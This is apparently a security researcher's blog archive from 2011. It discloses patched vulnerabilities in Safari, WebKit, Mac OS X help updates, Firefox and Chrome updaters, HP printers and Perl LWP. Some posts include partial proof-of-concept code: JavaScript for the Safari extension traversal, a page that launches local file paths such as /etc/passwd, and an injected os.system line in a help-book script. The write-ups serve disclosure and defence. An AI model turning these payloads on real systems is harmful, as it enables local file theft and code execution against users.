Thursday, October 20, 2011

Flash version check is MITMable on Mac OS X

Adobe Flash on Mac OS X provides a mechanism for users to check the version of Flash on their system to make sure it is not out of date.  This can be done via the somewhat new "Flash Player" System Preference Pane, which has a "Check Now" button to trigger a version check.

When users click on the Check Now button, the URL loaded is an HTTP URL and thus man-in-the-middle attackable.  The current version of Flash Player's System Preference Pane loads which redirects the user to

To make things worse, once you get to Adobe's SSLized site, users are provided an HTTPS URL to the Player Download Center that actually lands them back on a cleartext website,

Since Adobe has a more secure download mechanism built into Flash already, surely instead of making the "Check Now" button put users at risk, they could simply trigger that code path.  Somehow this issue, as obvious as it is, and despite my best attempts at getting them to fix it, has still not been fixed in the latest version.  I believe Adobe has a responsibility to its users to do the right thing here.  It makes me want to ask someone at Adobe how something as basic as this does not fit into their secure development lifecycle.

Sunday, October 16, 2011

Walkthrough of Safari Extension PoC

Now that a few days have passed I wanted to provide a full walkthrough of the Safari extension exploit for Mac OS X, as I thought it might be useful for someone in reproducing the bug or for using in new research.

Synopsis: Leverage the directory traversal in Safari Extensions using 1Password's extension as an example.  Note that the bug and vulnerability are not in 1Password.  The test case shown describes the files that would be placed on an Apache website to reproduce the vulnerability as I did.

Step 1: index.html

The purpose of this page is to get 1Password to offer to save a password.  We do this with an auto-submitting form.  The form submits to passgrabber.html.

<form id=bugpowder action="passgrabber.html" method=POST>
<input type=text name=username value="My Username">
<input type=password name=password value="password">
<input type=submit value=Login id=TheLogin>
Don't do anything, I got this...

Step 2: passgrabber.html

When we get here, 1Password believes we have submitted a password and offers to save it for us by injecting an iframe in the current page.  Our page can access the source URL of the injected iframe in order to mount a the directory traversal attack.  This Javascript can be trivially modified to target other extensions.

<iframe src="slowboat.html" height=1 width=1></iframe>

[In addition to accessing the iframe injected by 1Password, we kick off a download via slowboat.html, which is explained in more detail below.]

 var mugwump = document.getElementById("com-agilebits-onepassword-autosave");
 var benway = mugwump.getAttribute("src");
 var agent = benway.split("/")[3];

[The JS above launches 3 seconds after the page shows up, which gives 1Password enough time to inject an iframe with its UI.  We pull out the source URL of the iframe and pass on the dynamic value (only unknown part of the URL) for further processing.]

var url_prefix = "safari-extension://com.agilebits.onepassword-safari-2BUA8C4S2C/";
var url_suffix = "/data/ui/images/h30.png"
var poc_target = "/Downloads/";

[Here we define some variables.  These three variables are what you would modify to target a different extension.  The easiest way to get "url_prefix" is to use the Safari Web Inspector when injected content from the extension is present, though note that injected content is not required for an extension to be vulnerable.   The "url_suffix" is just to be sure we have a working exploit.  We use it to attempt the directory traversal with a known image file at this extension-relative path.  Lastly, the "poc_target" is the URL we actually intend to load containing our payload script.  The payload script is the one that executes with the privileges of the extension.  The "poc_target" path is relative to the user's home directory.]

function tryImg(thiskey) {
 var imgholder=document.getElementById("imagesGoHere");
 var newimage=document.createElement("img")

[This function is called by the setTimeout at the start of the script with the dynamic part of the URL.  Once we have it, we try to load the image specified in "url_suffix.  If it loads, we assume success and send the value on to the next function, "gotIt".  This function only exists to provide some error checking.]

function gotIt(goodkey) {
 var Vid=document.getElementById("userkey");

 var proof=document.createElement("iframe");

[This function creates a new iframe for our payload to run in, and targets the payload using everything we have learned so far.  It also prepends the "poc_target" url so that it is relative to the victim's home directory.]

<h1><div id="userkey"></div></h1>
Please wait a few seconds... 
<br><div id="imagesGoHere"></div>

Step 3: slowboat.html

At the start of the previous page, this is loaded into an iframe.  Its purpose is to perform the "carpet bombing" (obligatory shout out to Nitesh Dhanjani again), otherwise called a forced download.  There are a million ways to accomplish this, but I used the following .htaccess and HTML.


The .htaccess file: 

<FilesMatch "interzone.html$">
 Header set ContentType "application/octet-stream"
 Header set Content-Disposition "attachment; filename=interzone.html"

Step 4: interzone.html

Here you put your payload.  You can do what you want from stealing files to executing SQL in the extension's database.  When the download starts, Safari will create a temporary download bundle in the victim's ~/Downloads directory.  It will be called "" and will contain a file called "interzone.html" inside it.  You'll remember that is our "poc_target".  We use this path because the Safari sandbox allows us to read files while they are being downloaded.  You can put whatever payload you like in this file, but you need to make sure that it is either large enough in size or being served slow enough that the download is still in progress by the time it gets called.  Actually, there are a million ways to do this too, but the easy route I took was making it 40 megs.  If the download completes before the file is called, the temporary bundle will be removed before the exploit can access it.


At this point, we have triggered 1Password, taken its dynamic value, validated that it works for us in a directory traversal, and we have pushed a payload to the victim's system.  While the victim's system is downloading the payload, we can reliably access it and load it into the iframe from a safari-extension URL and in the context of the affected extension.

There are clearly lots of ways to accomplish this, but I chose the simplest path, not the most covert.  That said, there are many points along the way where exploiting could have been made more difficult.  If I had not been able to push files to the user, guess the download path, access the temporary download directory, or create frames that access safari-extension URLs in a remote web page, it would have been trickier.

Wednesday, October 12, 2011

CVE-2011-3229 - Steal files and inject js in Safari Extensions

(Sorry for the poor quality of the video, blogger seems to mess these up. Maybe I need to just find a new place for this blog.)

CVE: CVE-2011-3229
Found by: Aaron Sigel


Safari is vulnerable to a directory traversal issue with the handling of "safari-extension://" URLs.
Attackers can create malicious websites that trigger Safari to send files from the victim's system to the attacker.
Arbitrary Javascript can be executed in the web context of the Safari extension.

Affected Versions:

Safari 5.0 and later on Mac OS X and Windows


First, Apple's description of Safari Extensions:

"Safari Extensions are a great way for you to add new features to Safari. Built by developers, Safari Extensions use the latest HTML5, CSS3, and Javascript web technologies. And they’re digitally signed and sandboxed for improved security. You can install extensions with one click — no need to restart Safari."
Another quote from Apple's Developer documentation on what scripts can do:

"Your injected scripts can access resources—images, HTML, and other scripts, for example—within your extension folder. Relative URLs are relative to the webpage your script is injected into, however. If you need to access local resources, use safari.extension.baseURI + “relative path and filename”. You cannot access resources on the user’s hard drive outside of the extensions folder."

Safari Extensions access their internal resources (images, scripts, etc) by prepending filenames with the value of safari.extension.baseURI, which is a dynamic path that changes every time Safari loads the extension.  The format of full safari-extension URLs is:


Due to a directory traversal vulnerability in the handling of these URLs, any file readable by Safari's sandbox can be accessed by attackers.  In these URLs, the only component that is not generally known to attackers is the dynamic value.  The dynamic value is a 32bit number represented as a lowercase hex string.  While there are attacks that could attempt to guess this value, more effective routes to exploit this issue have been found.

These URLs may be used by content injected into web pages, exposing the dynamic value by reading the DOM.  The method and exploitability depends on the code in the extension, but proof of concepts have been generated that work against the 1Password, ClickToFlash, and several other extensions.  This should not be considered a security vulnerability in those extensions.  They are following the guidelines provided by Apple for what should be a safe operation.

The vulnerability here is that safari-extension URLs, with the help of directory traversal, have the ability to access local resources anywhere the system will allow the process to read.

Exploiting this bug:

The steps I used to exploit this bug are:

1.  Find the dynamic part of the safari-extension URL
2.  Find a way to access my payload from inside the Safari sandbox
3.  Load my payload, and use it to execute the Javascript in the context of the extension
4.  This Javascript access any file accessible to the extension, or access resources available to the extension (think Javascript accessible databases).

Some details of how my proof of concept accomplishes this:

The first step in exploiting this issue is to obtain the 32bit id.  For 1Password's extension I accomplished this with a Javascript that causes it to inject an iframe into the current page.  The src attribute is readable via document.getElementById().getAttribute("src"), which contains this value.

Once the attacker has this value, arbitrary paths to files readable by Safari's sandbox are reachable.  Additionally useful to the attacker is that no usernames have to be guessed in order to access files in the user's home directory.  This is because paths to files in the URL are relative to:


Our goal is to start evaluating arbitrary Javascript with the privileges of the Safari Extension.  After watching how Safari downloads files, I found that Safari's sandbox'ed process pokes a hole in the sandbox to allow read access on files while they are being downloaded.  These are download bundles that have no unpredictable path components and are created in ~/Downloads.  This meant that loading the attacker's Javascript was as simple as pushing a file download to Safari (Insert shout out to Nitesh Dhanjani whose Safari Carpet bombing technique still works in Lion and fully patched version of Safari) and loading it in an iframe.  To make sure I could access the file while it was being downloaded, I just made a large file.  At a couple of megabytes, the temporary download bundle reliably existed when and where I needed it to.

At this point the Javascript included in the download executed in the safari-extension zone.

What can be done on Mac OS X:

* Execution of arbitrary Javascript in the web context of installed extensions, which includes,
* Access to the safari object in the web content, exposing the SafariContent classes
* Full SQL access to extensions' client-side databases
* Access to any files that, Safari's sandboxed process can read, which includes, 
* Files opened by Safari during this process's life
* Local files in loaded extensions
* Other files being downloaded by Safari
* Safari's Cache database
* Safari's Local Storage databases
* Safari's HTML5 Offline Applications
* User Keychain files
* Quarantined application event logs
* DYLD shared cache/maps

What can be done on Windows:

Apple's Safari Extensions website claims that they are sandboxed.  This was verified when accessing the site with Safari for both Mac OS X and Windows 7.  However unlike Mac OS X, successful exploitation on Windows can access files wherever the user can read.  It seems that sandboxing is either not implemented for Safari on Windows 7 or that the sandboxing does not limit file reading.  

What this means:

* On Mac OS X, Safari's sandbox still allows access to a bunch of sensitive and useful data
* On Windows, sandboxing does not limit the files accessible to the attacker (if sandboxing occurs at all)
* Sandbox limits the badness that can be done with Safari exploits on Mac OS X.  Hopefully Safari will adopt more process separation to further limit the damage possible from vulnerabilities.

Shout outs:

cstone, cykyc, Nitesh Dhanjani, jduck, KF


* Apple's advisory:

* Previous Safari file stealing vulnerability, Safari ErrorJacking:

* Apple's documentation on accessing resources inside Safari Extensions:

CVE-2011-3230 - Launch any file path from web page

CVE: CVE-2011-3230
Found By: Aaron Sigel

There's not a ton to say about this bug aside from "Yikes"!  I think the PoC speaks for itself.  This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page.  The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it.  Other than that, you can run or launch anything you can access by using the method in the html provided below.

<base href="file://">
 function DoIt() {
<select id="cmdToRun">
 <option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>
 <option value="/etc/passwd">Launch /etc/passwd</option>
 <option value="/Applications/Utilities/Bluetooth File">
Launch Bluetooth File</option>
<br />
<input type=button value="Launch" onclick="DoIt()">
<br />

Apple's advisory:

CVE-2011-3224 - MITM to RCE with Mac App Store

CVE: CVE-2011-3224
Found By: Aaron Sigel and Brian Mastenbrook


We have attempted to fully explain how these bugs work below.  Since we expect that's too remedial for some of you, here's the summary…
1.  Help files from the Mac App Store contain AppleScript and Python payloads that can be MITMed during autoupdate resulting in execution of arbitrary commands for a remote attacker
2.  When updating help, the Mac App Store insecurely writes and accesses locations in "/tmp/" with guessable filenames, which could result in local cross-user attacks

Affected Software:

Mac OS X v10.6.*, Mac OS X v10.7
Previous versions may be affected but were not tested.

The details:

Man-in-the-middle (MITM) bugs are well known to security researchers and often lead to information disclosure that can result in session hijacking or leaking personal information.  MITM attacks that result in execution of arbitrary commands on a victim's computer seem less common.  This was not always the case.  It used to be fairly common to see applications that had built in update mechanisms not bothering to use any secure method to grab new code.  These days it is expected that new code will be validated with some form of cryptographic mechanism or be provided to the user over a secure channel before being executed.  Without these safeguards in place it would be possible for attackers to hijack the update unless you had a fully trusted network connection between your computer and the vendor.  Since that is not the case most of the time, most reputable software vendors implement these mechanisms to protect their updates.  Unfortunately, this is not always done on Mac OS X when help books are updated.

When the Mac App Store help book is opened, the help subsystem attempts to make sure that the documentation being displayed is the latest and greatest available.  This is accomplished by a Python script that is distributed as part of the help book.  Here's a snippet from the script:

# get the version number from the server
serverVersionURL = serverBaseURL + "helpbook-version.txt"
serverVersion = NSString.stringWithContentsOfURL_encoding_error_
(NSURL.URLWithString_(serverVersionURL), NSUTF8StringEncoding, None)
serverVersion = serverVersion[0]

# get the local version number
localVersionURL = directoryPath + "helpbook-version.txt"
localVersion = NSString.stringWithContentsOfFile_encoding_error_
(localVersionURL, NSUTF8StringEncoding, None)
localVersion = localVersion[0]

# show the help if we do have the latest help
if serverVersion == localVersion:
        with open(statusFilePath, 'w') as statusFile:

As you can see, if the version of the help document on the server is not the same as the local version, the update script will believe an update is available.  Note that the help book version file is not signed in any way:

By intercepting this request and serving a different version string, it is possible to trigger an auto update.  This was tested using Charles Proxy to simulate the MITM in action by mapping the help book version request to serve a local file with a different version in it:

Content of "silly-version.txt":

After passing this version test, the Python script proceeds to request a new help book archive and installs it.  The help book archive "" is downloaded from the remote server and installed.  This new archive contains a full copy of the update script that has been performing this update.  Next time an update occurs, our versions of the scripts will be executed.  Charles Proxy was also used to demonstrate this part of the attack:

In this version of "", the "scripts/" script has been modified as follows:

#! /usr/bin/python

import objc, os, sys
from Foundation import *

+ os.system("open /Applications/; /usr/bin/touch /var/tmp/.HelpUpdateRan")

At this point we can see that the help subsystem will install malicious code provided by an attacker.  The example above just runs and creates a file to demonstrate that unsigned scripts have been executed.  As demonstrated below, this is executed the next time that the help book is loaded.  Of course it may take a while to happen unless we combine this attack with the "help:" URL scheme, which Safari will launch without any user interaction.  Other good targets for attackers to target are "js/javascript.js" and "scripts/updatefrontend.scpt".

Here's the source of the test page used in the screen capture.  

> cat ladieslove.html 
<a href="">chest rockwell</a>

To see all of this in action, play the video below, which shows what happens once Mac App Store help is launched through Safari, triggering the injected Python commands to run:

(Sorry blogger's video upload thingy totally messes up the quality of my screen cap vids. If you have questions about how this bug works let me know by posting.)

Also, the file in "/var/tmp" was created, owned by the victim:

Constraints and notes about this vulnerability:

1. Help book documents are only accessible via URL after they are registered, which occurs after being opened once.  In order for the demonstration above to work, the help book from the Mac App Store must have been opened at least once.

2.  This bug is an issue for more applications than just Mac App Store.  It is an issue for any application that insecurely transfers help book content or does not validate it in some way before it is executed.  Finding the other applications distributed with Mac OS X as part of the base distribution vulnerable to this issue is a (simple) exercise for the reader.  An attacker could trigger several help books at once with the hope of infecting just one.

3.  This demonstration was noisy and obvious, but an actual attacker could be much sneakier.

Local user attack:

Aside from the issue shown above, there's another far less serious security hole in the update process involving a file in "/tmp" that is insecurely created.  When help documentation is checked and updated, the following is done:

1.  js/javascript.js creates an update filename: 

update_status_file:"/tmp/apd"+(new Date()).getTime()+"-update-status.txt"

2.  This filename is then passed to the update scripts, which write to this file during update.

setTimeout(function(){var d="help:runscript=/scripts/updatefrontend.scpt";d+=" string='"+location.href+",,,";d+=updateController.update_status_file+",,,";d+=dataController.getSettingsStringForKey("FolderName")+",,,";d+=dataController.getSettingsStringForKey("RemoteURL");d+=localizationController.language+"/'";location=d; ….

This is vulnerable to traditional "/tmp" attacks, such as symbolic-linking the update status file to something the victim can write, and the attacker wants to clobber, create, or fill with a known value.  Here's an example of where the Apple Script included in the help book insecurely writes to this file:


Apple has addressed these issues in Security Update 2011-006.  It can be installed via Software Update.


1.  Apple should have signed and validated this code, or at the very least made sure that the help book was sent over a secure channel.  Apple should scan all other help books they provide for variants of these issues.  Apple should also reach out to third-party developers to help them avoid these same mistakes.

2.  Install the security update that addresses this issue.


1. Apple's advisory:

2. Brian Mastenbrook's previous Help Viewer security issues:

Tuesday, October 11, 2011

Summary of vulnerability write-ups on bugs Apple fixed today

Safari Issues:
With the release of Mac OS X v10.7, Apple made Safari run sandboxed.  According to Apple:

All the websites and applications you use in Safari are sandboxed, so they don’t have access to information on your system. If a website contains malicious code intended to capture personal data or tamper with your computer, sandboxing provides a built-in blocker that restricts the code from doing harm."

In today's security update, Apple is fixing in two security issues I reported that could lead to capturing personal data and launching of arbitrary files or commands to tamper with your computer.  These security holes do not break the Mac OS X sandboxing technology.  Instead they function despite the sandboxing due to the way sandboxing for Safari was implemented.

I believe these are the first security holes in Apple software that have been made public that achieve file theft and command execution against Safari on Mac OS X v10.7 since sandboxing was added.  Of course this excludes the many, many, many holes in Flash and Java and other third party software one may have installed.

The first issue allows a malicious website to run arbitrary commands by getting Safari to launch a URL directly to the system.  This issue is tracked as CVE-2011-3230.

Write up:

The second issue allows a malicious website to steal files accessible to the sandbox (several of which contain personal data) and execute Javascript in the context of Safari's extensions, which can be used to persistently alter their behavior or to steal data.  This issue is tracked as CVE-2011-3229.

Write up:

Mac OS X Issues:
Two other issues in Mac OS X were fixed as well.

The first will not get its own write-up, because it is really straight forward and rather minor.  When using QuickTime to "Save for Web", the HTML that is produced includes a script from Apple's website served over HTTP.  An MITM attack on the loading of this script when the files are viewed locally could be used to steal files from the local system using XMLHttpRequests or abuse the power of local files in Safari to inject malicious Javascript into any other website.  Note that the files are intended to be loaded locally, as they contain instructions on how to place QuickTime content on your website. This issue is tracked as CVE-2011-3218.

The second issue is a MITM attack Brian Mastenbrook and I found that leads to execution of arbitrary code.  When viewing help in the Mac App Store, an update check is performed by talking to an Apple server.  This update includes AppleScript and Python code that are served over HTTP, and can be replaced by an attacker with the ability to alter the victim's network traffic.  When updating, these files are executed.  If Mac App Store help has ever been viewed before, this update check can be triggered on demand by an attacker using a "help:" URL in a web page.  Additionally, even when a network attacker is not present, the update process insecurely accesses files in "/tmp" leading to a traditional Time of Check vs Time of Use condition that could lead to local attacks such as privilege escalation.  These issues do not affect Mac OS X v10.7 Lion, presumably because they were reported to Apple prior to its release.  These issues are collectively tracked as CVE-2011-3224.

Write up:

I hope the detailed information on these security holes is useful.  If you have any questions feel free to post them.

Tuesday, September 20, 2011

Chome 14 addresses CVE-2011-2842 local mac-only issue

With the recent release of Chrome 14, Google addressed the following issue I reported to them:

[Mac only] [80680] Low CVE-2011-2842: Insecure lock file handling in the Mac installer. Credit to Aaron Sigel of (ref:


The affected script was "" located in GoogleSoftwareUpdate.bundle/Contents/Resources/
In this script, a temporary lock file was created using the following method:

  lockfilename = '/tmp/.keystone_install_lock'

  # Make sure that root and user can share the same lockfile
  oldmask = os.umask(0000)
  # os.O_EXLOCK is 32, but isn't defined on 10.4 (python2.3)
  lockfile =, os.O_CREAT | os.O_RDWR | 32, 0666)

This appears to get executed on every Chrome update, offering attackers frequent opportunities to attack the statically named, insecurely created temporary file.  To exploit this issue, a local attacker would create a symbolic link from "/tmp/.keystone_install_lock" to a file they wanted to have created by the victim.  When created, the files will be created with permissions that allow reading and writing by all users of the system. There are a number of files that users can write in their home directories that control access to various resources.  Using this method to create such files could allow an attacker to then edit the content of those files and lead to local privilege escalation or information disclosure.

Thursday, June 23, 2011

Apple fixes CVE-2011-0207 in Mac OS X v10.6.8 / Security Update 2011-004

In today's update, Apple is fixing a security issue that was disturbing for me to see, but is definitely not even close to the most serious security holes in the update (there are several that look like they would be useful in creating drive-by -> code execution).  

Just for the sake of documenting this bug fully, here are some details.  The issue only affects MobileMe users and is that upon attempting to compose your first email after launching, cleartext requests are made to Apple servers and return back a list of your email aliases.  

When users want to secure the traffic from, they would typically enable SSL for incoming and outgoing mail, which happens to be the default for MobileMe accounts, and also likely disable the loading of remote images.

Incoming, Outgoing, and Remote Images:

However despite these settings your aliases are transferred in the clear, exposing MobileMe usernames and alternate identities on the wire.  The data returned looks something like this:

<?xml version="1.0" encoding="UTF-8"?>
<Aliases xmlns="">
        <alias>this is some alias</alias>
        <name>my alter ego</name>

I should note that in my tests, downgrading from digest authentication to basic authentication failed to leak the user's MobileMe password.  So unlike in the case of the CVE-2010-3831, which I found using the same old silly proxy server method, this was far less serious.  Though it is worth noting a web page can trigger this behavior simply by pushing your browser to a "mailto:" URL, so it could be done on demand assuming isn't already running.

Not that it should be a surprise to anyone, but I was also able to spoof a response from the server that caused my available "From" addresses to include attacker created/injected email addresses.  I was not able to make mail use any of these addresses by default on creation of new mail.

Regarding iCloud, I hope that Apple is taking this opportunity to make it so that bugs like this are mitigated through design.  If you have a fancy new web service, why not kick it off by doing all the things you're supposed to.  For example, if they allow HTTP/unencrypted access to iCloud services I will be really disappointed.

Apple's advisory is available at
The update is available via Software Update

Friday, April 15, 2011

HP disclosed but didn't fix printer security holes

HP released a bulletin covering CVE-2011-1531, CVE-2011-1532, and CVE-2011-1533 on April 12 that acknowledges these security issues I reported to them exist, but will not be providing a patch to address them.  Instead, they have provided some recommendations and workarounds.

Some of the recommendations are not very practical in real life, such as avoiding XSS by "Exposure can be reduced by avoiding untrusted URLs".  This is not because they didn't understand the problem, but because there was nothing much else to say when they weren't going to fix the issue.  

The main issue that I was hoping they would fix is an XSS in the embedded web server of the printer.  By default, the printer is not protected by a password, and that could result in a malicious website being able to explore your printer/network settings or reconfigure it in various ways.  The XSS is reflective and I imagine it is not that uncommon for printers to have DNS within the company domain, allowing it to be used to steal/set cookies, pivot into your network to access private data, and all the other run of the mill nasties that you could do with malicious Javascript on an internal network.

HP's advisory is here:

There's more than one place to XSS this but I like the error page of the printer because it is accessible even with authentication enabled.  You can trigger it with a POST to refresh.htm, which will result in unescaped output provided to it in the "refresh_rate" variable.

I appreciate that HP took the time to disclose the bugs, but it makes me wonder what my expectations should be for them to fix any other HP products.  Perhaps XSS is just below their threshold, or maybe they think printers are not worth fixing.  It's hard to tell what they would care enough to patch.  

Sunday, March 27, 2011

Man-in-the-middle attacking Mozilla Firefox updates

Earlier today I was proved wrong when I claimed it was not possible to update from Firefox 3.x to 4.x securely.  I'm not quite sure what happened when I originally tested it -- potentially it was something to do with one of their security updates going out, but in any case, this got me looking at how their updates work.

The latest Firefox 3.x actually pulls update information from an SSLized URL, and it verified the binary package before installing it.  I was pretty happy when I saw that, but I started wondering how the update box below was rendered:

It turns out that the user-readable details about the new version are pulled as plaintext HTTP from Mozilla's servers.  I wondered what would happen if I added a meta refresh to another download in this page.  Below is the edited HTML using Charles Proxy but clearly any man-in-the-middle attacker could do the same thing. 

The result of this is an arbitrary file being pushed to you at the time you are trying to update.  I personally think this could be convincing enough to get people to run malicious code.  An attacker could also edit the HTML directly to make it seem like you should click a button in the untrusted frame instead of the "Get the New Version" button or be even more creative.

I think it is important for software vendors like Mozilla to keep these kinds of attacks in mind when mixing application chrome and untrusted content in the same view.  It is important for us to think of the barely computer literate user who is just trying to safely browse the web.  I'm pretty sure more badness could be done with this, and the fix is relatively simple -- all they needed to do was serve this over SSL and the threat would be greatly reduced.

Monday, March 21, 2011

Apple fixes Installer bug, CVE-2011-0190

Mac OS X v10.6.7 addressed a bug I reported in Installer:
From Apple's advisory
Impact: Visiting a maliciously crafted website may lead to the installation of an agent that contacts an arbitrary server when the user logs in, and mislead the user into thinking that the connection is with Apple
Description: A URL processing issue in Install Helper may lead to the installation of an agent that contacts an arbitrary server when the user logs in. The dialog resulting from a connection failure may lead the user to believe that the connection was attempted with Apple. This issue is addressed by removing Install Helper.

Some additional details:
- A web page could open a url with the x-mini-installer:// scheme, with a host and path of where to attempt to load files.
- It attempts to download a plist pointing it at an update server at every login
- When an update package fails to process properly, the UI displayed instructs a user to run something from their ~/Downloads folder, where a malicious file could have been dropped.
- I did not succeed in getting it to automate the install of arbitrary content.  
- This bug could be used to trigger this format string bug

Friday, March 18, 2011

Quick note on LWP and Perl security - CVE-2011-0633

As a follow-up to this post on how most LWP-based scripts can be man-in-the-middled, I contacted Jesse Vincent, Gisle Aas, and the Perl security team about this LWP issue.  They immediately saw the issue and began fixing it.  I would strongly recommend using LWP 6.00 for anything that needs to handle an HTTPS URL.
The libwww−perl (LWP) module Net::HTTPS did not fully validate SSL certificates by default prior to version 6.00. Multiple Perl modules (such as WWW::Mechanize and LWP::UserAgent) do not enable full validation of SSL certificates when using libwww-perl, leaving software that uses them vulnerable to man-in-the-middle attacks. This issue was addressed by changing the default behavior of libwww-perl to enable full validation of SSL certificates.
The LWP 6.00 changelog includes the following about the change:
For https://... default to verified connections with require IO::Socket::SSL and Mozilla::CA modules to be installed. Old behaviour can be requested by setting the PERL_LWP_SSL_VERIFY_HOSTNAME environment variable to 0. The LWP::UserAgent got new ssl_opts method to control this as well.
Thanks to all of their hard work, lots of projects that previously did not validate certificates will begin to do so, once LWP is updated.

Wednesday, March 9, 2011

Safari Errorjacking - CVE-2011-0167


Today's Safari update addresses a rather serious issue (CVE-2011-0167) that I found and reported to Apple.  This issue allows Javascript from any website to jump into the local zone and access any files accessible to the user running Safari.  This bug actually exists in WebKit, so other browsers could be affected.  This is why it's good when browsers do what Chrome did, and heavily limit what can be done by local HTML. . Check out the related reading at the end of this post for more on that.

Here's a quick video of the bug in action.  Only HTML and JavaScript are required to accomplish this.

Bug description:

The problem is that when internally generated pages (such as error pages) are loaded, they are loaded from the local "file:" zone, but the window's location can still be set by all scripts that have a reference to the window, such as an attacker's website.

Why remote-to-local matters:

Safari normally blocks loading of local content from remote sites for a ton of reasons.  One reason is that local content in Safari has a fair bit of power*, including the ability to read any file accessible to the current user.  This can be accomplished a number of ways.  The easiest is using XMLHttpRequest()s in order to read files by "file:///" URL.  Once loaded, the content can be sent anywhere.  

*To read about the many other things that local HTML can do, check out the related reading links below.

How remote-to-local restrictions normally work:

You can see remote-to-local restrictions in action by trying to load the following HTML from a web server in Safari:

Click on the link and you will get the following error in the Javascript console:

Not allowed to load local resource: file:///tmp/foo.html

Sometimes remote-to-remote turns into remote-to-local:

I noticed something interesting occurs when trying to load a web page that doesn't exist, cannot be reached, or any other action that results in an internally generated page being displayed.  The page is loaded from a file on disk  and the current window location points at a "file:///" URL.  For example, execute the following javascript from a web page:

var x ="","bogusWin")

After the page load fails, the Safari error page is displayed:

Because of how Safari displays its error pages, we now have a window in the local "file:///" zone, but triggered by a load of an "http://" URL.  

Exploiting this behavior:

The vulnerability exists in the fact that this window, with full access to the "file:///" URLs, can be navigated by its parent window, when it should be blocked by a security check.  We can navigate this child window by setting x.window.location, and can set it to any URL including those in "file:///".  All we need in order to exploit it is some malicious HTML to point at using a "file:///" URL.  

There are numerous ways to get a local path to point at remotely originating payload content.  It's a little silly, but here's what I did.  This proved to be reliable enough for a proof of concept that works with the default configuration of Safari on Mac OS X:

1. When you launch the proof of concept by clicking the submit button on thing.html, we start by mounting a disk image with our local payload
2. If you have the default Safari settings, Mac OS X will mount the disk image in /Volumes/poc
3. We then attempt to load in a new window.  Since port 7 (tcp echo) is on the port block list, an error page in the "file://" zone is loaded
4. We then tell the window that is displaying this error page that it should load a different file, /Volumes/poc/ds.html.  The fact that we can do this is the bug itself
5. Safari loads the Javascript in ds.html in the local zone.  The Javascript opens a SQLite3 file, /var/db/dslocal/indices/Default/index, because it contains the names of local users
6. We use Javascript to rip some usersnames from the SQLite3 database file using a regular expression, and then attempt to access the target file in each of their accounts
7. File contents (if we have the right user) and usernames are communicated back to the parent window using postMessage (direct communications between the windows)

Some questions and answers about this bug:

1. Does the pop-up blocker stop this bug? 

2. What if I changed my preferences so that 'Open "safe" files' is not selected? Am I safe against this?
No.  The slightly more technical explanation for this answer is that my proof of concept is using a disk image just to get malicious content at a known local path.  There are a lot of other ways to accomplish this task.  For example, my original proof of concept used an "ftp://" URL, and triggered to automatically mount the site in /Volumes.  I felt like setting up a public FTP server was a bit of a hassle so I switched to this easy and portable version.  There are also less obvious ways to do this, including methods that involve no user-visible clues that a malicious file is now accessible through a "file://" path.

3. Will the Mac OS X file quarantine feature stop this exploit?
No. While we're using a disk image that came from Safari and this file is therefore quarantined, we are not launching our payload.  Instead we are loading it from an active HTML document that has already been loaded into the "file://" zone.

4. Your proof of concept did not work for me. Does that mean I am not vulnerable?
No. In the proof of concept I'm basically grepping a binary SQLite3 database file with Javascript. I am going to assume this isn't a terribly portable way of grabbing usernames.  There are a bunch of other ways we could get the username of our visitor.  For example, my original version of this proof of concept used a rather simple method of gathering usernames by parsing monthly.out.  The monthly.out file is generated once a month and contains active usernames as part of system accounting.  I got annoyed that my proof of concept wouldn't work on a fresh system, so I switched to the new method.  Here's how I was grabbing usernames from the monthly.out file:

                function process_log(monthlog) {
                 var gathered_users=new Array();
                 var line_pos = 0;
                 var in_block = 0;
                 var month_lines = monthlog.split("\n");
                 for (line_pos=0;line_pos<=month_lines.length-1;line_pos++) {
                  if (month_lines[line_pos] == "Doing login accounting:") {
                  } else if (in_block==1 && month_lines[line_pos] == "") {
                  } else if (in_block) {
                        var user_line = month_lines[line_pos].split(/[\t ]/);
                        if (user_line[1].length>0 && user_line[1] != "total") {
                                // user_line[1] is a potential username
                 var victim = "";
                 for (victim in gathered_users) {

[Note: I apologize about how gross that Javascript is, but I figured someone might have a use for it. You can replace the proof of concept i posted to use this one pretty easily.]

5. Will this work on Windows?
Good question.  I suspect that it will, and that using a UNC path you might be able to point at remote files for your payload.  However I have not had a chance to test this.  If you have a test system and a moment to port this to Windows, I'd appreciate it if you would post a comment.  I'd also like to know if you can launch programs from this local window by using document.location or by loading a JAR in the "file://" zone.  That could be interesting.

6. Is Safari the only browser affected?
No. Safari is the only browser that this proof of concept was designed to work with, but the bug itself is in WebKit and affects other WebKit-based browsers.  If you are testing your WebKit-based browser, remember that if you use a different URL scheme for things like these error pages, you may need to modify the test case to attempt to access resources using that scheme instead of "file://".

The proof-of-concept:

You should be able to uudecode this into a zip, that is ready to be dropped in a path
in your web server.


I would like to thank Cedric of the Apple Product Security team for the responsive and responsible handling of this issue.
I would also like to thank the Google Security Team for putting in the effort to harden WebKit against many of these issues and protect their users.
Also, thanks cstone.

Related reading:

Excellent work by the Google/Chrome guys:

This bug:
 Apple's advisory page, see CVE-2011-0167 in the latest Safari update

I found this bug a while ago -- before the following blog post was written, but I think people who find this kind of bug interesting would also be interested in lcamtuf's blog post: